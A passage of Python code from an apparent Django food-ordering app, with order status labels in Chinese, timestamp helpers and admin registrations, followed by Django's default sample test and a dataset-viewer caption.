for i in self.get_items():
total = total + i.get_total()
return total
def get_status(self):
if self.status == 0:
return "未下单"
elif self.status == 1:
return "店家未确认"
elif self.status == 2:
return "正在备餐"
elif self.status == 3:
return "已送出"
elif self.status == 4:
return "已完成"
else:
return "状态错误"
def set_time_by_status(self):
if self.status == 0:
self.create_time = int(time())
elif self.status == 1:
self.c_confirm_time = int(time())
elif self.status == 2:
self.r_confirm_time = int(time())
elif self.status == 3:
self.send_time = int(time())
elif self.status == 4:
self.complete_time = int(time())
self.save()
def get_time(self, status):
if status == 0:
return strftime('%Y-%m-%d %H:%M:%S', localtime(self.create_time))
if status == 1:
return strftime('%Y-%m-%d %H:%M:%S', localtime(self.c_confirm_time))
if status == 2:
return strftime('%Y-%m-%d %H:%M:%S', localtime(self.r_confirm_time))
if status == 3:
return strftime('%Y-%m-%d %H:%M:%S', localtime(self.send_time))
if status == 4:
return strftime('%Y-%m-%d %H:%M:%S', localtime(self.complete_time))
def get_time0(self):
return self.get_time(0)
def get_time1(self):
if self.status < 1:
return "用户未下单"
return self.get_time(1)
def get_time2(self):
if self.status < 2:
return "餐馆未确认订单"
return self.get_time(2)
def get_time3(self):
if self.status < 3:
return "订单未配送"
return self.get_time(3)
def get_time4(self):
if self.status < 4:
return "订单未确认送达"
return self.get_time(4)
def get_button_value(self):
rv = ""
if self.status == 1:
rv = "接受订单,开始备餐 "
if self.status == 2:
rv = "备餐完毕,开始配送 "
if self.status == 3:
rv = "完成"
return rv
class OrderAdmin(admin.ModelAdmin):
pass
admin.site.register(Order, OrderAdmin)
class OrderItem(models.Model):
order = models.ForeignKey(Order)
item = models.ForeignKey(MenuItem)
count = models.IntegerField()
def get_price(self):
return self.item.price
def get_total(self):
return self.get_price() * self.count
class OrderItemAdmin(admin.ModelAdmin):
pass
admin.site.register(OrderItem, OrderItemAdmin) | Python |
"""
This file demonstrates writing tests using the unittest module. These will pass
when you run "manage.py test".
Replace this with more appropriate tests for your application.
"""
from django.test import TestCase
class SimpleTest(TestCase):
def test_basic_addition(self):
"""
Tests that 1 + 1 always equals 2.
"""
self.assertEqual(1 + 1, 2)
| Python |
Subsets and Splits
SQL Console for ajibawa-2023/Python-Code-Large
Provides a useful breakdown of language distribution in the training data, showing which languages have the most samples and helping identify potential imbalances across different language groups.